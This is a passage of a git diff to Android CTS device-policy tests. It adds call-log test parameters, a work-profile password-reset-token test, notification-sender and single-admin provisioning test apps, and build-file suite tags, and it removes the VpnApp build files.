- assertCalllogInserted(Calls.INCOMING_TYPE);
+ assertCalllogInserted(callType, phoneNumber);
} finally {
handlerThread.quit();
- cleanupCall(true /* verifyDeletion */ );
+ cleanupCall(phoneNumber, true /* verifyDeletion */ );
unregisterPhoneAccount();
}
}
@@ -183,8 +219,8 @@
Cursor cursor = null;
try {
cursor = mContext.getContentResolver()
- .query(Calls.CONTENT_URI, null, Calls.NUMBER + " = ?",
- new String[]{PHONE_NUMBER}, null);
+ .query(Calls.CONTENT_URI, null, Calls.NUMBER + " in (?,?)",
+ new String[]{NORMAL_PHONE_NUMBER, MISSED_PHONE_NUMBER}, null);
assertEquals(0, cursor.getCount());
} finally {
if (cursor != null) {
@@ -205,17 +241,21 @@
assertNull(mTelecomManager.getPhoneAccount(PHONE_ACCOUNT_HANDLE));
}
- private void assertCalllogInserted(int type) {
+ private void assertCalllogInserted(int type, String phoneNumber) {
Cursor cursor = null;
try {
final String connectionServiceComponentName = new ComponentName(mContext,
- DummyConnectionService.class).flattenToString();
+ DummyConnectionService.class).flattenToString();
cursor = mContext.getContentResolver()
- .query(Calls.CONTENT_URI, null,
- QUERY_CALL_THROUGH_OUR_CONNECTION_SERVICE + " AND " +
- Calls.TYPE + " = ?",
- new String[]{PHONE_NUMBER, connectionServiceComponentName,
- String.valueOf(type)}, null);
+ .query(Calls.CONTENT_URI, null,
+ QUERY_CALL_THROUGH_OUR_CONNECTION_SERVICE + " AND " +
+ Calls.TYPE + " = ?",
+ new String[]{
+ phoneNumber,
+ connectionServiceComponentName,
+ String.valueOf(type)
+ },
+ null);
assertEquals(1, cursor.getCount());
} finally {
if (cursor != null) {
@@ -224,12 +264,12 @@
}
}
- private void cleanupCall(boolean verifyDeletion) {
+ private void cleanupCall(String phoneNumber, boolean verifyDeletion) {
final String connectionServiceComponentName = new ComponentName(mContext,
DummyConnectionService.class).flattenToString();
int numRowDeleted = mContext.getContentResolver()
.delete(Calls.CONTENT_URI, QUERY_CALL_THROUGH_OUR_CONNECTION_SERVICE,
- new String[]{PHONE_NUMBER, connectionServiceComponentName});
+ new String[]{phoneNumber, connectionServiceComponentName});
if (verifyDeletion) {
assertEquals(1, numRowDeleted);
}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PrimaryUserAdminHelper.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PrimaryUserAdminHelper.java
index 12e9698..e092888 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PrimaryUserAdminHelper.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PrimaryUserAdminHelper.java
@@ -42,7 +42,7 @@
if (mDpm.isAdminActive(cn)) {
mDpm.removeActiveAdmin(cn);
// Wait until device admin is not active (with 2 minutes timeout).
- for (int i = 0; i < 5 * 60 && mDpm.isAdminActive(cn); i++) {
+ for (int i = 0; i < 2 * 60 && mDpm.isAdminActive(cn); i++) {
Thread.sleep(1000); // 1 second.
}
}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ProvisioningTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ProvisioningTest.java
index d911812..23de823 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ProvisioningTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ProvisioningTest.java
@@ -21,13 +21,11 @@
import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME;
import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_KEEP_ACCOUNT_ON_MIGRATION;
import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_SKIP_ENCRYPTION;
-import static android.app.admin.DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
-import android.Manifest;
import android.accounts.Account;
import android.accounts.AccountManager;
import android.app.admin.DeviceAdminReceiver;
@@ -135,7 +133,7 @@
am.getAccountsByType(AccountAuthenticator.ACCOUNT_TYPE).length == 0);
}
- public Intent createBaseProvisioningIntent() {
+ private Intent createBaseProvisioningIntent() {
return new Intent(ACTION_PROVISION_MANAGED_PROFILE)
.putExtra(EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME, ADMIN_RECEIVER_COMPONENT)
.putExtra(EXTRA_PROVISIONING_SKIP_ENCRYPTION, true)
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ResetPasswordWithTokenTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ResetPasswordWithTokenTest.java
new file mode 100644
index 0000000..6487b50
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ResetPasswordWithTokenTest.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.managedprofile;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.os.UserManager;
+
+public class ResetPasswordWithTokenTest extends BaseManagedProfileTest {
+
+ private static final String PASSWORD0 = "1234";
+ // This needs to be in sync with ManagedProfileTest.RESET_PASSWORD_TEST_DEFAULT_PASSWORD
+ private static final String PASSWORD1 = "123456";
+
+ private static final byte[] token = "abcdefghijklmnopqrstuvwxyz0123456789".getBytes();
+
+ /**
+ * A dummy receiver marked as direct boot aware in manifest to make this test app
+ * runnable by instrumentation before FBE unlock.
+ */
+ public static class DummyReceiver extends BroadcastReceiver {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ }
+ }
+
+ /**
+ * Set a reset password token and work challenge on the work profile, and then lock it
+ * with CE evicted. This is the preparation step for {@link #testResetPasswordBeforeUnlock}
+ * to put the profile in RUNNING_LOCKED state, and will be called by the hostside logic before
+ * {@link #testResetPasswordBeforeUnlock} is exercised.
+ */
+ public void testSetupWorkProfileAndLock() {
+ testSetResetPasswordToken();
+ // Reset password on the work profile will enable separate work challenge for it.
+ assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT, PASSWORD0,
+ token, 0));
+
+ mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+ DevicePolicyManager.PASSWORD_QUALITY_NUMERIC);
+ mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, 6);
+
+ testLockWorkProfile();
+ }
+
+ public void testResetPasswordBeforeUnlock() {
+ UserManager um = mContext.getSystemService(UserManager.class);
+ assertFalse(um.isUserUnlocked());
+ assertTrue(mDevicePolicyManager.isResetPasswordTokenActive(ADMIN_RECEIVER_COMPONENT));
+ assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT, PASSWORD1,
+ token, 0));
+ try {
+ mDevicePolicyManager.isActivePasswordSufficient();
+ fail("Did not throw expected exception.");
+ } catch (IllegalStateException expected) {}
+ }
+
+ public void testSetResetPasswordToken() {
+ assertTrue(mDevicePolicyManager.setResetPasswordToken(ADMIN_RECEIVER_COMPONENT, token));
+ assertTrue(mDevicePolicyManager.isResetPasswordTokenActive(ADMIN_RECEIVER_COMPONENT));
+ }
+
+ public void testLockWorkProfile() {
+ mDevicePolicyManager.lockNow(DevicePolicyManager.FLAG_EVICT_CREDENTIAL_ENCRYPTION_KEY);
+ }
+}
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/NotificationSender/Android.mk b/hostsidetests/devicepolicy/app/NotificationSender/Android.mk
new file mode 100644
index 0000000..8c7633e
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/NotificationSender/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target.
+LOCAL_MODULE_TAGS := optional
+
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsNotificationSenderApp
+
+LOCAL_SDK_VERSION := current
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/NotificationSender/AndroidManifest.xml b/hostsidetests/devicepolicy/app/NotificationSender/AndroidManifest.xml
new file mode 100644
index 0000000..0f5ac6d
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/NotificationSender/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.managedprofiletests.notificationsender">
+
+ <application>
+ <activity android:name=".SendNotification"
+ android:exported="true">
+ </activity>
+ </application>
+</manifest>
+
diff --git a/hostsidetests/devicepolicy/app/NotificationSender/res/raw/ic_contact_picture.png b/hostsidetests/devicepolicy/app/NotificationSender/res/raw/ic_contact_picture.png
new file mode 100644
index 0000000..37b558b
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/NotificationSender/res/raw/ic_contact_picture.png
Binary files differ
diff --git a/hostsidetests/devicepolicy/app/NotificationSender/src/com/android/cts/managedprofiletests/notificationsender/SendNotification.java b/hostsidetests/devicepolicy/app/NotificationSender/src/com/android/cts/managedprofiletests/notificationsender/SendNotification.java
new file mode 100644
index 0000000..80c4073
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/NotificationSender/src/com/android/cts/managedprofiletests/notificationsender/SendNotification.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.managedprofiletests.notificationsender;
+
+import android.app.Activity;
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.util.Log;
+
+import java.lang.Override;
+
+/**
+ * A simple activity to post notifications to test notification
+ * listener whitelists.
+ */
+public class SendNotification extends Activity {
+
+ private static final String TAG = "ListenerTest";
+
+ static final int NOTIFICATION_ID = 98765;
+ static final String NOTIFICATION_CHANNEL = "NotificationListenerTest";
+
+ @Override
+ public void onCreate(Bundle icicle) {
+ super.onCreate(icicle);
+ Intent intent = getIntent();
+ if (intent != null && "POST_NOTIFICATION".equals(intent.getAction())) {
+ Log.i(TAG, "posting from " + android.os.Process.myUserHandle());
+ sendNotification();
+ } else if (intent != null && "CANCEL_NOTIFICATION".equals(intent.getAction())) {
+ Log.i(TAG, "cancelling from " + android.os.Process.myUserHandle());
+ cancelNotification();
+ }
+ finish();
+ }
+
+ private void sendNotification() {
+ NotificationManager notificationManager =
+ (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+ notificationManager.createNotificationChannel(new NotificationChannel(
+ NOTIFICATION_CHANNEL, "Test channel", NotificationManager.IMPORTANCE_DEFAULT));
+ notificationManager.notify(NOTIFICATION_ID,
+ new Notification.Builder(getApplicationContext(), NOTIFICATION_CHANNEL)
+ .setSmallIcon(R.raw.ic_contact_picture)
+ .setContentTitle("Test title")
+ .build());
+ }
+
+ private void cancelNotification() {
+ NotificationManager notificationManager =
+ (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+ notificationManager.cancel(NOTIFICATION_ID);
+ notificationManager.deleteNotificationChannel(NOTIFICATION_CHANNEL);
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/PackageInstaller/Android.mk b/hostsidetests/devicepolicy/app/PackageInstaller/Android.mk
index 3c0a2a1..11680e9 100644
--- a/hostsidetests/devicepolicy/app/PackageInstaller/Android.mk
+++ b/hostsidetests/devicepolicy/app/PackageInstaller/Android.mk
@@ -26,11 +26,15 @@
LOCAL_JAVA_LIBRARIES := android.test.runner
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-v4 ctstestrunner ub-uiautomator
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-v4 \
+ ctstestrunner \
+ ub-uiautomator \
+ legacy-android-test
LOCAL_SDK_VERSION := test_current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/Android.mk b/hostsidetests/devicepolicy/app/ProfileOwner/Android.mk
index 6f9ef5d..34b8e08 100644
--- a/hostsidetests/devicepolicy/app/ProfileOwner/Android.mk
+++ b/hostsidetests/devicepolicy/app/ProfileOwner/Android.mk
@@ -26,11 +26,15 @@
LOCAL_JAVA_LIBRARIES := android.test.runner conscrypt cts-junit
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util ub-uiautomator
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ ctstestrunner \
+ compatibility-device-util \
+ ub-uiautomator \
+ legacy-android-test
LOCAL_SDK_VERSION := test_current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/Android.mk b/hostsidetests/devicepolicy/app/SimpleApp/Android.mk
index f755018..f0007db 100644
--- a/hostsidetests/devicepolicy/app/SimpleApp/Android.mk
+++ b/hostsidetests/devicepolicy/app/SimpleApp/Android.mk
@@ -25,13 +25,13 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsSimpleApp
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleService.java b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleService.java
index 107261c..0e87000 100644
--- a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleService.java
+++ b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleService.java
@@ -23,8 +23,11 @@
import android.os.Parcel;
import android.os.Process;
import android.os.RemoteException;
+import android.util.Log;
public class SimpleService extends Service {
+ private final static String TAG = SimpleService.class.getSimpleName();
+
final Binder mBinder = new Binder() {
@Override
protected boolean onTransact(int code, Parcel data, Parcel reply, int flags)
@@ -40,6 +43,7 @@
@Override
public IBinder onBind(Intent intent) {
+ Log.i(TAG, "onBind called");
return mBinder;
}
}
diff --git a/hostsidetests/devicepolicy/app/SimplePreMApp/Android.mk b/hostsidetests/devicepolicy/app/SimplePreMApp/Android.mk
index 0b7c625..deb5320 100644
--- a/hostsidetests/devicepolicy/app/SimplePreMApp/Android.mk
+++ b/hostsidetests/devicepolicy/app/SimplePreMApp/Android.mk
@@ -31,6 +31,6 @@
LOCAL_SDK_VERSION := 21
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/SingleAdminApp/Android.mk b/hostsidetests/devicepolicy/app/SingleAdminApp/Android.mk
new file mode 100644
index 0000000..426dbf2
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/SingleAdminApp/Android.mk
@@ -0,0 +1,42 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsDevicePolicySingleAdminTestApp
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit
+
+LOCAL_STATIC_JAVA_LIBRARIES = \
+ android-support-v4 \
+ ctstestrunner \
+ compatibility-device-util \
+ ub-uiautomator \
+ android-support-test \
+ legacy-android-test
+
+LOCAL_SDK_VERSION := test_current
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/SingleAdminApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/SingleAdminApp/AndroidManifest.xml
new file mode 100644
index 0000000..6ae1eb4
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/SingleAdminApp/AndroidManifest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.devicepolicy.singleadmin">
+
+ <application
+ android:testOnly="true">
+
+ <uses-library android:name="android.test.runner" />
+
+ <receiver
+ android:name="com.android.cts.devicepolicy.singleadmin.ProvisioningSingleAdminTest$AdminReceiver"
+ android:permission="android.permission.BIND_DEVICE_ADMIN">
+ <meta-data android:name="android.app.device_admin"
+ android:resource="@xml/device_admin" />
+ <intent-filter>
+ <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+ </intent-filter>
+ </receiver>
+
+ <activity android:name="com.android.compatibility.common.util.devicepolicy.provisioning.StartProvisioningActivity"/>
+
+ </application>
+
+ <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="com.android.cts.devicepolicy.singleadmin"
+ android:label="Managed Profile CTS Tests (Single admin receiver)"/>
+</manifest>
diff --git a/hostsidetests/devicepolicy/app/SingleAdminApp/res/xml/device_admin.xml b/hostsidetests/devicepolicy/app/SingleAdminApp/res/xml/device_admin.xml
new file mode 100644
index 0000000..0f434d2
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/SingleAdminApp/res/xml/device_admin.xml
@@ -0,0 +1,19 @@
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<device-admin xmlns:android="http://schemas.android.com/apk/res/android" android:visible="false">
+ <uses-policies>
+ <force-lock />
+ </uses-policies>
+</device-admin>
diff --git a/hostsidetests/devicepolicy/app/SingleAdminApp/src/com/android/cts/devicepolicy/singleadmin/ProvisioningSingleAdminTest.java b/hostsidetests/devicepolicy/app/SingleAdminApp/src/com/android/cts/devicepolicy/singleadmin/ProvisioningSingleAdminTest.java
new file mode 100644
index 0000000..2828b3d
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/SingleAdminApp/src/com/android/cts/devicepolicy/singleadmin/ProvisioningSingleAdminTest.java
@@ -0,0 +1,76 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package com.android.cts.devicepolicy.singleadmin;
+
+import static android.app.admin.DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE;
+import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_PACKAGE_NAME;
+import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_SKIP_ENCRYPTION;
+
+import static org.junit.Assert.assertTrue;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+
+import com.android.compatibility.common.util.devicepolicy.provisioning.SilentProvisioningTestManager;
+
+import org.junit.Before;
+import org.junit.Test;
+
+@SmallTest
+public class ProvisioningSingleAdminTest {
+
+ private static final String ADMIN_RECEIVER_PACKAGE = AdminReceiver.class.getPackage().getName();
+ private static final String ADMIN_RECEIVER_NAME = AdminReceiver.class.getName();
+
+ private static final ComponentName ADMIN_RECEIVER_COMPONENT = new ComponentName(
+ ADMIN_RECEIVER_PACKAGE, ADMIN_RECEIVER_NAME);
+
+ private Context mContext;
+
+ public static class AdminReceiver extends DeviceAdminReceiver {
+ @Override
+ public void onProfileProvisioningComplete(Context context, Intent intent) {
+ super.onProfileProvisioningComplete(context, intent);
+ getManager(context).setProfileName(ADMIN_RECEIVER_COMPONENT, "Managed Profile");
+ getManager(context).setProfileEnabled(ADMIN_RECEIVER_COMPONENT);
+ }
+ }
+
+ @Before
+ public void setUp() {
+ mContext = InstrumentationRegistry.getTargetContext();
+ }
+
+ @Test
+ public void testManagedProfileProvisioning() throws InterruptedException {
+ assertProvisioningSucceeds(createProvisioningIntent());
+ }
+
+ private Intent createProvisioningIntent() {
+ return new Intent(ACTION_PROVISION_MANAGED_PROFILE)
+ .putExtra(EXTRA_PROVISIONING_SKIP_ENCRYPTION, true)
+ .putExtra(EXTRA_PROVISIONING_DEVICE_ADMIN_PACKAGE_NAME, ADMIN_RECEIVER_PACKAGE);
+ }
+
+ private void assertProvisioningSucceeds(Intent intent) throws InterruptedException {
+ SilentProvisioningTestManager provisioningMgr = new SilentProvisioningTestManager(mContext);
+ assertTrue(provisioningMgr.startProvisioningAndWait(intent));
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/VpnApp/Android.mk b/hostsidetests/devicepolicy/app/VpnApp/Android.mk
deleted file mode 100644
index 8963230..0000000
--- a/hostsidetests/devicepolicy/app/VpnApp/Android.mk
+++ /dev/null
@@ -1,34 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsVpnFirewallApp
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := android.test.runner
-
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/VpnApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/VpnApp/AndroidManifest.xml
deleted file mode 100644
index ea1a001..0000000
--- a/hostsidetests/devicepolicy/app/VpnApp/AndroidManifest.xml
+++ /dev/null
@@ -1,31 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.cts.vpnfirewall">
-
- <uses-sdk android:minSdkVersion="22"/>
-
- <application>
- <service android:name=".ReflectorVpnService"
- android:permission="android.permission.BIND_VPN_SERVICE">
- <intent-filter>
- <action android:name="android.net.VpnService"/>
- </intent-filter>
- </service>
- </application>
-
-</manifest>
diff --git a/hostsidetests/devicepolicy/app/WidgetProvider/Android.mk b/hostsidetests/devicepolicy/app/WidgetProvider/Android.mk
index 5e5db1e..1a804b8 100644
--- a/hostsidetests/devicepolicy/app/WidgetProvider/Android.mk
+++ b/hostsidetests/devicepolicy/app/WidgetProvider/Android.mk
@@ -27,6 +27,6 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.mk b/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.mk
index 699b476..b03cf95 100644
--- a/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.mk
+++ b/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.mk
@@ -31,6 +31,6 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
index 2063104..8b73762 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
@@ -23,6 +23,7 @@
import com.android.ddmlib.testrunner.TestResult.TestStatus;
import com.android.ddmlib.testrunner.TestRunResult;
import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.CollectingOutputReceiver;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.result.CollectingTestListener;
@@ -78,6 +79,14 @@
protected static final int FLAG_EPHEMERAL = 0x00000100;
protected static final int FLAG_MANAGED_PROFILE = 0x00000020;
+ /**
+ * The {@link android.os.BatteryManager} flags value representing all charging types; {@link
+ * android.os.BatteryManager#BATTERY_PLUGGED_AC}, {@link
+ * android.os.BatteryManager#BATTERY_PLUGGED_USB}, and {@link
